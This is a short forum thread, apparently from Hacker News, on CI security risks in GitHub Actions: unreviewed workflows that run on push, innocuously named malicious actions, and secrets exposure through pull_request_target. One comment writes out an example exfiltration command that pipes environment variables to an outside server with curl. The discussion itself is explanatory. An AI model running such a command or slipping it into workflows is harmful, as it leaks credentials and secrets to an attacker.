2 ms·
It's not simply a matter of review; depending on your setup these bypasses could be run before anyone even has eyes on the changes if your CI is triggered on pu
by internobody 1y ago
It's not simply a matter of review; depending on your setup these bypasses could be run before anyone even has eyes on the changes if your CI is triggered on push or on PR creation.
- rawling 1y agoBut similarly, couldn't you just write harmful stuff straight into the action itself?
- mystifyingpoi 1y agoYou definitely could, but it is more nuanced than that. You really don't want to be seen doing `env | curl -X POST http://myserver.cn http://myserver.cn` in a company repository. But using a legitly named action doesn't look too suspicious.
- jadamson 1y ago`pull_request_target` (which has access to secrets) runs in the context of the destination branch, so any malicious workflow would need to have already been committed. GitHub has a page on this: https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/ https://securitylab.github.com/resources/github-actions-prev...